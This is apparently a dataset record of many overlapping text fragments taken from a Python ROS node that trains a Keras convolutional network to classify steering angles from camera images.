examples is below this, load more data","i in range(len(X)): if random.random() < 0.4: # 40% of images are flipped","= time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories =","format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if","(xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print","cnt[i] += 1 print \"total training examples:\", n_training_examples print \"training label counts:\", cnt","math import string import numpy as np import rospy import keras from keras.models","label counts:\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else","= rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x) for x in categories]","oneHot = [1 if i == category else 0 for i in range(len(categories))]","examples:\", n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation = False): gen_epochs =","from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 #","import collections import random import time from example_set import ExampleSet from params import","if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter()","import rospy import keras from keras.models import Sequential from keras.layers import Dense, Dropout,","X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size):","for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2","isValidation: for i in range(len(X)): if random.random() < 0.4: # 40% of images","in f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for f","n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time()","in categories] category = np.argmin(differences) oneHot = [1 if i == category else","+= len(data.train) n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i]","int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"|","= int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss,","BatchNormalization import cv2 import collections import random import time from example_set import ExampleSet","/= 255.0 return data2 def make_model(): model = Sequential() # 128 x 48","model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25))","categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x) for x in","< n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train","len(data.train) n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] +=","cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs =","time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True),","enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model(): model =","model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def","0 n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const: data =","f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0","exampleSetFiles.pop())) D += data.test if isValidation else data.train if not isValidation: random.shuffle(D) X","categories] category = np.argmin(differences) oneHot = [1 if i == category else 0"],"string":"[\n \"model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu',\",\n \"training examples is below this, load more data batch_size = 16 categories =\",\n \"128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) #\",\n \"6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy'])\",\n \"# 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4)))\",\n \"keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2 import\",\n \"ys = labels[i: i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples)\",\n \"model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime\",\n \"= 0 n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const: data\",\n \"import keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D,\",\n \"i + batch_size] ys = labels[i: i + batch_size] yield (xs, ys) try:\",\n \"f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test)\",\n \"= expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir)\",\n \"Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import\",\n \"rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\"\",\n \"+ batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches,\",\n \"if not isValidation: for i in range(len(X)): if random.random() < 0.4: # 40%\",\n \"epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size))\",\n \"examples is below this, load more data batch_size = 16 categories = [None]\",\n \"batch_size): xs = X[i: i + batch_size] ys = labels[i: i + batch_size]\",\n \"in range(0, len(X), batch_size): xs = X[i: i + batch_size] ys = labels[i:\",\n \"\\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\", acc finally: model.save(model_path) print \\\"\\\\nsaved model to\\\",\",\n \"n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir,\",\n \"categories = string.strip(categories).split(\\\" \\\") categories = [float(x) for x in categories] categories =\",\n \"random.shuffle(D) X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex\",\n \"= [None] def defineCategory(steering): differences = [abs(steering - category) for category in categories]\",\n \"print \\\"elapsed time:\\\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc\",\n \"n_examples_to_load = 8000 # if the number of training examples is below this,\",\n \"= int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories = [float(x) for\",\n \"data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in\",\n \"model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size\",\n \"< 0.4: # 40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i]\",\n \"= ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train:\",\n \"32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x\",\n \"range(0, len(X), batch_size): xs = X[i: i + batch_size] ys = labels[i: i\",\n \"int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time() - startTime\",\n \"\\\"elapsed time:\\\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc =\",\n \"= list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) >\",\n \"model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples)\",\n \"os import math import string import numpy as np import rospy import keras\",\n \"padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2,\",\n \"import string import numpy as np import rospy import keras from keras.models import\",\n \"else 0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),)\",\n \"1 print \\\"total training examples:\\\", n_training_examples print \\\"training label counts:\\\", cnt def batch_generator(isValidation\",\n \"0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) +\",\n \"padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu'))\",\n \"x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(),\",\n \"ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total training examples:\\\",\",\n \"activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\")\",\n \"tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples\",\n \"startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation\",\n \"string.strip(categories).split(\\\" \\\") categories = [float(x) for x in categories] categories = expand_categories(categories) model\",\n \"format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i]\",\n \"differences = [abs(steering - category) for category in categories] category = np.argmin(differences) oneHot\",\n \"rospy import keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten,\",\n \"12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten())\",\n \"for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D\",\n \"exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\")\",\n \"\\\"training label counts:\\\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation\",\n \"dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return\",\n \"batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time() - startTime n_minibatches =\",\n \"in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model(): model\",\n \"category in categories] category = np.argmin(differences) oneHot = [1 if i == category\",\n \"xs = X[i: i + batch_size] ys = labels[i: i + batch_size] yield\",\n \"make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f)\",\n \"40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for\",\n \"input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0\",\n \"D = [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data =\",\n \"D += data.test if isValidation else data.train if not isValidation: random.shuffle(D) X =\",\n \"np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2\",\n \"len(X), batch_size): xs = X[i: i + batch_size] ys = labels[i: i +\",\n \"if isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create\",\n \"= ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if not isValidation:\",\n \"48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x\",\n \"not isValidation: for i in range(len(X)): if random.random() < 0.4: # 40% of\",\n \"batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\",\",\n \"import numpy as np import rospy import keras from keras.models import Sequential from\",\n \"len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total\",\n \"categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in\",\n \"Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4,\",\n \"X[i: i + batch_size] ys = labels[i: i + batch_size] yield (xs, ys)\",\n \"[None] def defineCategory(steering): differences = [abs(steering - category) for category in categories] category\",\n \"f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for f in\",\n \"ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed\",\n \"example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 # if\",\n \"make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3),\",\n \"categories = [float(x) for x in categories] categories = expand_categories(categories) model = make_model()\",\n \"output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for\",\n \"model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load,\",\n \"MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2 import collections import random import time from\",\n \"expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if\",\n \"as np import rospy import keras from keras.models import Sequential from keras.layers import\",\n \"1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles)\",\n \"Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2 import collections import random import\",\n \"are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0,\",\n \"= [abs(steering - category) for category in categories] category = np.argmin(differences) oneHot =\",\n \"> 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test\",\n \"import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 # if the\",\n \"if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while\",\n \"epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0:\",\n \"more data batch_size = 16 categories = [None] def defineCategory(steering): differences = [abs(steering\",\n \"[float(x) for x in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const\",\n \"return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex\",\n \"if random.random() < 0.4: # 40% of images are flipped X[i] = cv2.flip(X[i],\",\n \"[] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop()))\",\n \"flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X),\",\n \"for i in range(len(X)): if random.random() < 0.4: # 40% of images are\",\n \"0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if\",\n \"+ batch_size] ys = labels[i: i + batch_size] yield (xs, ys) try: n_minibatches\",\n \"== category else 0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2\",\n \"+= data.test if isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D)\",\n \"numpy as np import rospy import keras from keras.models import Sequential from keras.layers\",\n \"= 8000 # if the number of training examples is below this, load\",\n \"ex in D]) if not isValidation: for i in range(len(X)): if random.random() <\",\n \"acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\", acc finally:\",\n \"loss:\\\", loss, \\\"| validation accuracy:\\\", acc finally: model.save(model_path) print \\\"\\\\nsaved model to\\\", model_path\",\n \"time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\")\",\n \"len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D +=\",\n \"model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35))\",\n \"def defineCategory(steering): differences = [abs(steering - category) for category in categories] category =\",\n \"in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = []\",\n \"labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i: i + batch_size]\",\n \"import input_shape, expand_categories n_examples_to_load = 8000 # if the number of training examples\",\n \"x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6\",\n \"n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const:\",\n \"labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i in\",\n \"for category in categories] category = np.argmin(differences) oneHot = [1 if i ==\",\n \"rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories = [float(x) for x in categories] categories\",\n \"= Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same'))\",\n \"expand_categories n_examples_to_load = 8000 # if the number of training examples is below\",\n \"if the number of training examples is below this, load more data batch_size\",\n \"optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime =\",\n \"data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels\",\n \"= rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories\",\n \"Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2 import collections import random\",\n \"cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs for\",\n \"= ex.get_image() data2 /= 255.0 return data2 def make_model(): model = Sequential() #\",\n \"while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D\",\n \"import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2 import collections\",\n \"model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2)))\",\n \"import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization\",\n \"from params import input_shape, expand_categories n_examples_to_load = 8000 # if the number of\",\n \"x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32\",\n \"for i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape,\",\n \"list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0\",\n \"len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else\",\n \"\\\"total training examples:\\\", n_training_examples print \\\"training label counts:\\\", cnt def batch_generator(isValidation = False):\",\n \"= [float(x) for x in categories] categories = expand_categories(categories) model = make_model() model.summary()\",\n \"epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories = string.strip(categories).split(\\\" \\\") categories = [float(x)\",\n \"model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12\",\n \"categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f\",\n \"and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation\",\n \"D]) if not isValidation: for i in range(len(X)): if random.random() < 0.4: #\",\n \"batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs for epoch in\",\n \"activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main():\",\n \"# 40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1]\",\n \"for i in range(0, len(X), batch_size): xs = X[i: i + batch_size] ys\",\n \"batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs,\",\n \"n_training_examples print \\\"training label counts:\\\", cnt def batch_generator(isValidation = False): gen_epochs = 1\",\n \"batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs =\",\n \"Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2 import collections import random import time\",\n \"os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt =\",\n \"categories = [None] def defineCategory(steering): differences = [abs(steering - category) for category in\",\n \"3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu',\",\n \"exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples =\",\n \"- startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print\",\n \"model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\")) categories = rospy.get_param(\\\"~positive_nonzero_categories\\\") categories\",\n \"for x in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const =\",\n \"data.test if isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) #\",\n \"len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0 and len(D) <\",\n \"category else 0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2 =\",\n \"x in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f\",\n \"= [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir,\",\n \"/ batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"| validation\",\n \"def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples):\",\n \"'.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for\",\n \"for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples =\",\n \"+= 1 print \\\"total training examples:\\\", n_training_examples print \\\"training label counts:\\\", cnt def\",\n \"/ batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \\\"elapsed time:\\\", time.time() - startTime n_minibatches\",\n \"counts:\\\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs\",\n \"\\\") categories = [float(x) for x in categories] categories = expand_categories(categories) model =\",\n \"import cv2 import collections import random import time from example_set import ExampleSet from\",\n \"range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while\",\n \"model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3,\",\n \"import math import string import numpy as np import rospy import keras from\",\n \"category) for category in categories] category = np.argmin(differences) oneHot = [1 if i\",\n \"random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0 and\",\n \"category = np.argmin(differences) oneHot = [1 if i == category else 0 for\",\n \"batch_size = 16 categories = [None] def defineCategory(steering): differences = [abs(steering - category)\",\n \"= format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex in D])\",\n \"of training examples is below this, load more data batch_size = 16 categories\",\n \"isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for\",\n \"= X[i: i + batch_size] ys = labels[i: i + batch_size] yield (xs,\",\n \"collections import random import time from example_set import ExampleSet from params import input_shape,\",\n \"Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2 import collections import\",\n \"training examples:\\\", n_training_examples print \\\"training label counts:\\\", cnt def batch_generator(isValidation = False): gen_epochs\",\n \"from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\\ GaussianNoise, BatchNormalization import cv2\",\n \"ex.get_image() data2 /= 255.0 return data2 def make_model(): model = Sequential() # 128\",\n \"import time from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load =\",\n \"model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \\\"validation loss:\\\", loss, \\\"| validation accuracy:\\\", acc finally: model.save(model_path) print\",\n \"exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex\",\n \"input_shape, expand_categories n_examples_to_load = 8000 # if the number of training examples is\",\n \"import os import math import string import numpy as np import rospy import\",\n \"this, load more data batch_size = 16 categories = [None] def defineCategory(steering): differences\",\n \"n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs\",\n \"range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i,\",\n \"main(): global categories, n_examples_to_load, batch_size rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir\",\n \"rospy.init_node(\\\"nn_training\\\") startTime = time.time() model_path = rospy.get_param(\\\"~model_output_path\\\") exampleSetDir = rospy.get_param(\\\"~example_set_dir\\\") epochs = int(rospy.get_param(\\\"~epochs\\\"))\",\n \"= [1 if i == category else 0 for i in range(len(categories))] return\",\n \"= make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in\",\n \"i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def\",\n \"np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i in range(len(X)): if\",\n \"np.argmin(differences) oneHot = [1 if i == category else 0 for i in\",\n \"+ input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /=\",\n \"print \\\"total training examples:\\\", n_training_examples print \\\"training label counts:\\\", cnt def batch_generator(isValidation =\",\n \"= labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i: i +\",\n \"i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \\\"total training examples:\\\", n_training_examples print \\\"training\",\n \"4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) #\",\n \"+= len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 